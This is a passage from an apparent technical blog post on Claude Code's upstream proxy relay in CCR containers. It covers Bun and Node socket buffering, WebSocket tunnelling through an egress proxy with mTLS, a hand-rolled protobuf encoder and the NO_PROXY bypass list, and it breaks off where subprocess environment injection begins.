# When the kernel buffer drains, Bun calls drain()
function drain(socket):
    while state.writeBuf is not empty:
        chunk = state.writeBuf[0]
        n = socket.write(chunk)
        if n &amp;lt; chunk.length:
            state.writeBuf[0] = chunk[n:]
            return  # still full, wait for next drain
        state.writeBuf.shift()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without this, a fast upstream server sending data faster than the client can consume would silently lose bytes mid-TLS-stream — corrupting the connection with no error message.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Node Path
&lt;/h3&gt;

&lt;p&gt;Node's &lt;code&gt;net.createServer()&lt;/code&gt; takes a connection callback. Each connection is a &lt;code&gt;Socket&lt;/code&gt; object with event emitters. Connection state is stored in a &lt;code&gt;WeakMap&lt;/code&gt; keyed by the socket — when the socket is garbage-collected, the state goes with it.&lt;/p&gt;

&lt;p&gt;Node's &lt;code&gt;sock.write()&lt;/code&gt; is fundamentally different from Bun's: it &lt;strong&gt;always buffers&lt;/strong&gt;. If the kernel buffer is full, &lt;code&gt;write()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt; to signal backpressure, but the bytes are already queued internally. They will be flushed when the buffer drains. No explicit write queue is needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Node&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="nx"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;buffers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;never&lt;/span&gt; &lt;span class="nx"&gt;drops&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt;
&lt;span class="nx"&gt;adapter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;toBuffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="na"&gt;end&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is why the relay has two implementations rather than one: the core CONNECT parsing and WebSocket tunneling logic is shared (via &lt;code&gt;handleData&lt;/code&gt; and &lt;code&gt;openTunnel&lt;/code&gt;), but the TCP I/O layer has different correctness requirements. A single abstraction would either waste memory in Node (unnecessary write queue) or lose bytes in Bun (missing write queue).&lt;/p&gt;

&lt;h3&gt;
  
  
  The Egress Proxy Problem
&lt;/h3&gt;

&lt;p&gt;The CCR container sits behind an egress gateway — direct outbound connections are blocked. This creates a chicken-and-egg problem: the relay needs to open a WebSocket to the cloud gateway, but the WebSocket connection itself must go through the egress proxy.&lt;/p&gt;

&lt;p&gt;Node's &lt;code&gt;undici.WebSocket&lt;/code&gt; (the &lt;code&gt;globalThis.WebSocket&lt;/code&gt; in Node) does &lt;strong&gt;not&lt;/strong&gt; consult the global dispatcher for upgrade requests. So even though the process has &lt;code&gt;HTTPS_PROXY&lt;/code&gt; configured, the WebSocket wouldn't use it. The relay works around this by using the &lt;code&gt;ws&lt;/code&gt; package with an explicit proxy agent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Node&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;preload&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="kr"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;pass&lt;/span&gt; &lt;span class="nx"&gt;explicit&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;
&lt;span class="nx"&gt;WS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ws&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/proto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;bearerToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getWebSocketProxyAgent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;CONNECT&lt;/span&gt; &lt;span class="nx"&gt;through&lt;/span&gt; &lt;span class="nx"&gt;egress&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt;
    &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getWebSocketTLSOptions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;mTLS&lt;/span&gt; &lt;span class="nx"&gt;certs&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;configured&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ws&lt;/code&gt; package is preloaded during &lt;code&gt;startNodeRelay()&lt;/code&gt; — before any connection arrives — so that &lt;code&gt;openTunnel()&lt;/code&gt; stays synchronous. If the &lt;code&gt;import('ws')&lt;/code&gt; happened inside &lt;code&gt;openTunnel&lt;/code&gt;, the CONNECT state machine would race: a second data event could fire while the import was awaiting, and the state would be inconsistent.&lt;/p&gt;

&lt;p&gt;Bun's native &lt;code&gt;WebSocket&lt;/code&gt; accepts a &lt;code&gt;proxy&lt;/code&gt; URL directly as a constructor option — no agent needed. It also accepts a &lt;code&gt;tls&lt;/code&gt; option for custom certificates. The Bun path is simpler because the runtime was designed for this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Bun&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;TLS&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;constructor&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/proto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;bearerToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getWebSocketProxyUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wsUrl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;not&lt;/span&gt; &lt;span class="nx"&gt;an&lt;/span&gt; &lt;span class="nx"&gt;agent&lt;/span&gt;
    &lt;span class="na"&gt;tls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getWebSocketTLSOptions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both paths honor mTLS configuration (client certificates set via &lt;code&gt;CLAUDE_CODE_CLIENT_CERT&lt;/code&gt; and &lt;code&gt;CLAUDE_CODE_CLIENT_KEY&lt;/code&gt;), so the relay works in enterprise environments that require mutual TLS for all outbound connections.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Protobuf Wire Format
&lt;/h2&gt;

&lt;p&gt;Bytes between the relay and gateway are wrapped in protobuf messages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight protobuf"&gt;&lt;code&gt;&lt;span class="kd"&gt;message&lt;/span&gt; &lt;span class="nc"&gt;UpstreamProxyChunk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;bytes&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The encoding is hand-written — no protobuf library, no code generation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;encodeChunk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Protobuf&lt;/span&gt; &lt;span class="nx"&gt;field&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;wire&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;delimited&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="nx"&gt;tag&lt;/span&gt; &lt;span class="nx"&gt;byte&lt;/span&gt; &lt;span class="mh"&gt;0x0a&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;field_number&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;wire_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0a&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Varint&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;
    &lt;span class="nx"&gt;varint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nx"&gt;varint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nx"&gt;varint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Assemble&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x0a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;varint&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nx"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;varint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0a&lt;/span&gt;
    &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;..]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;varint&lt;/span&gt;
    &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;varint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;..]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding is the reverse: verify the 0x0a tag, read the varint length, extract the payload. A shift exceeding 28 bits is rejected (guards against malformed varints). Zero-length chunks are valid (keepalive semantics).&lt;/p&gt;

&lt;p&gt;Why hand-encode instead of using protobufjs? For a single-field bytes message, the hand encoding is 10 lines of code. A protobuf runtime library adds a dependency in the hot path — every byte of subprocess traffic passes through this encoder. The trade-off is clear: minimal code, no dependency, maximum throughput.&lt;/p&gt;

&lt;p&gt;Large payloads are chunked at 512KB boundaries before encoding. This matches the Envoy per-request buffer cap at the gateway. Week-1 use cases (Datadog API calls) won't hit this limit, but the chunking is designed for future workloads like &lt;code&gt;git push&lt;/code&gt; that could send megabytes through the tunnel.&lt;/p&gt;




&lt;h2&gt;
  
  
  The NO_PROXY Bypass List
&lt;/h2&gt;

&lt;p&gt;Not all traffic should go through the proxy. The bypass list is carefully curated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;NO_PROXY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Loopback&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;localhost&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;::1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;RFC1918&lt;/span&gt; &lt;span class="kr"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;ranges&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;AWS&lt;/span&gt; &lt;span class="nx"&gt;IMDS&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;169.254.0.0/16&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;10.0.0.0/8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;172.16.0.0/12&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;192.168.0.0/16&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Anthropic&lt;/span&gt; &lt;span class="nx"&gt;API&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nx"&gt;three&lt;/span&gt; &lt;span class="nx"&gt;forms&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt; &lt;span class="nx"&gt;compatibility&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;anthropic.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;.anthropic.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*.anthropic.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nc"&gt;GitHub &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;already&lt;/span&gt; &lt;span class="nx"&gt;reachable&lt;/span&gt; &lt;span class="nx"&gt;directly&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;CCR&lt;/span&gt; &lt;span class="nx"&gt;containers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;github.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;api.github.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*.github.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;*.githubusercontent.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="nx"&gt;Package&lt;/span&gt; &lt;span class="nx"&gt;registries&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;registry.npmjs.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pypi.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;files.pythonhosted.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;index.crates.io&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;proxy.golang.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why Three Forms for Anthropic?
&lt;/h3&gt;

&lt;p&gt;Different runtimes parse NO_PROXY differently:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;*.anthropic.com&lt;/code&gt; — Bun, curl, and Go interpret &lt;code&gt;*&lt;/code&gt; as a glob wildcard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.anthropic.com&lt;/code&gt; — Python urllib/httpx treats a leading dot as a suffix match (strips the dot, matches &lt;code&gt;*.anthropic.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;anthropic.com&lt;/code&gt; — Apex domain fallback for runtimes that don't handle the above&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All three are needed to cover the ecosystem of tools subprocesses might use.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Bypass the Anthropic API?
&lt;/h3&gt;

&lt;p&gt;The comment in the source is blunt: "the MITM breaks non-Bun runtimes." The proxy's MITM certificate is trusted by the merged CA bundle, but not all runtimes use &lt;code&gt;SSL_CERT_FILE&lt;/code&gt;. Python's &lt;code&gt;certifi&lt;/code&gt; package bundles its own CA store and ignores environment variables unless explicitly configured. A MITM'd connection to the Anthropic API from a Python subprocess would fail with &lt;code&gt;CERTIFICATE_VERIFY_FAILED&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;More importantly, the Anthropic API is Claude Code's own backend. There's no need for credential injection or traffic inspection on this path — the CLI already has its own authentication. Routing it through the proxy would add latency and failure modes for no benefit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Bypass Package Registries?
&lt;/h3&gt;

&lt;p&gt;CCR containers already have direct network access to npm, PyPI, crates.io, and Go's module proxy. Routing package installs through the upstream proxy would add latency to &lt;code&gt;npm install&lt;/code&gt; and &lt;code&gt;pip install&lt;/code&gt; — commands the model runs frequently — for no security benefit. The registries don't need org credentials injected.&lt;/p&gt;




&lt;h2&gt;
  
  
  Subprocess Environment Injection
&lt;/h2&gt;

&lt;p&gt;The final layer connects everything. Every subprocess Claude Code spawns gets environment variables injected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;subprocessEnv&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
